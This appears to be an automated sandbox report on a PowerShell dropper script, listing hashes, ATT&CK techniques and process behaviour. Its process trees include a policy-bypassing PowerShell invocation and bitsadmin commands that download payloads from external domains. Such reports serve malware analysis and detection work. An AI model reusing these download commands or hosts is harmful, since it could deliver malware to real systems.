2da77359f85bbc09c5ea5a4dd2f768e16079bbff9ae22a7cf84e4411bd65d1cb

Analysis

max time kernel
361s
max time network
362s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
28-11-2024 21:26

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General

Target

ckJTQEOKC\WdxzhJPH.ps1
Size

2KB
MD5

9d6d8a084805bbf5d22507780d14e8f4
SHA1

27ebc6c5948855d6b5a7f1c5422a3be6a4a1e77a
SHA256

9092a282a5c56c0a19713fd3067b528efae5b27e9faa737c87a9bbf6a566cc5e
SHA512

a8142d16469fb415ad3f9212d52f0aadde797876e7735f3faebd79b57acd04688726e83047c808851ea9394b14dca0dad8c33a1e7695c4ce2a768d46a2f3597b

Score

10^/10

dropper execution

Malware Config

Signatures

Process spawned unexpected child process 2 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

bitsadmin.exebitsadmin.exe

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2592	2852	bitsadmin.exe	32
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3040	2852	bitsadmin.exe	32

Download via BitsAdmin 1 TTPs 2 IoCs

dropper

BITS Jobs

T1197

Processes:

bitsadmin.exebitsadmin.exe

pid	Process
2592	bitsadmin.exe
3040	bitsadmin.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

Processes:

powershell.exe

pid	Process
276	powershell.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid	Process
276	powershell.exe
276	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description	pid	Process
Token: SeDebugPrivilege	276	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

Processes:

powershell.exe

description	pid	Process	procid_target
PID 276 wrote to memory of 2784	276	powershell.exe	33
PID 276 wrote to memory of 2784	276	powershell.exe	33
PID 276 wrote to memory of 2784	276	powershell.exe	33
PID 276 wrote to memory of 2588	276	powershell.exe	35
PID 276 wrote to memory of 2588	276	powershell.exe	35
PID 276 wrote to memory of 2588	276	powershell.exe	35

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\ckJTQEOKC\WdxzhJPH.ps1
1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:276
- C:\Windows\system32\getmac.exe
  "C:\Windows\system32\getmac.exe" /fo table
  2⤵
  PID:2784
- C:\Windows\system32\bitsadmin.exe
  "C:\Windows\system32\bitsadmin.exe" /reset
  2⤵
  PID:2588

C:\Windows\system32\bitsadmin.exe
bitsadmin /transfer ehWDxA /priority FOREGROUND "https://ghryj.eu/post//d1a08e7c80c044391bd169315a49a19b.html" C:\Users\Admin\AppData\Local\Temp\ckJTQEOKC\0_svchost.log
1⤵
- Process spawned unexpected child process
- Download via BitsAdmin
PID:2592

C:\Windows\system32\bitsadmin.exe
bitsadmin /transfer jySaWi /priority FOREGROUND "https://uhfb.eu/post//d1a08e7c80c044391bd169315a49a19b.html" C:\Users\Admin\AppData\Local\Temp\ckJTQEOKC\1_svchost.log
1⤵
- Process spawned unexpected child process
- Download via BitsAdmin
PID:3040

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

BITS Jobs

T1197

Privilege Escalation

Defense Evasion

BITS Jobs

T1197

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/276-4-0x000007FEF58FE000-0x000007FEF58FF000-memory.dmp

Filesize
4KB

Download
memory/276-7-0x000007FEF5640000-0x000007FEF5FDD000-memory.dmp

Filesize
9.6MB

Download
memory/276-6-0x0000000001E50000-0x0000000001E58000-memory.dmp

Filesize
32KB

Download
memory/276-5-0x000000001B6D0000-0x000000001B9B2000-memory.dmp

Filesize
2.9MB

Download
memory/276-8-0x000007FEF5640000-0x000007FEF5FDD000-memory.dmp

Filesize
9.6MB

Download
memory/276-10-0x000007FEF5640000-0x000007FEF5FDD000-memory.dmp

Filesize
9.6MB

Download
memory/276-9-0x000007FEF5640000-0x000007FEF5FDD000-memory.dmp

Filesize
9.6MB

Download
memory/276-11-0x000007FEF5640000-0x000007FEF5FDD000-memory.dmp

Filesize
9.6MB

Download
memory/276-13-0x000007FEF5640000-0x000007FEF5FDD000-memory.dmp

Filesize
9.6MB

Download
memory/276-12-0x000007FEF5640000-0x000007FEF5FDD000-memory.dmp

Filesize
9.6MB

Download
memory/276-14-0x000007FEF58FE000-0x000007FEF58FF000-memory.dmp

Filesize
4KB

Download
memory/276-15-0x000007FEF5640000-0x000007FEF5FDD000-memory.dmp

Filesize
9.6MB

Download
memory/276-16-0x000007FEF5640000-0x000007FEF5FDD000-memory.dmp

Filesize
9.6MB

Download
memory/276-18-0x000007FEF5640000-0x000007FEF5FDD000-memory.dmp

Filesize
9.6MB

Download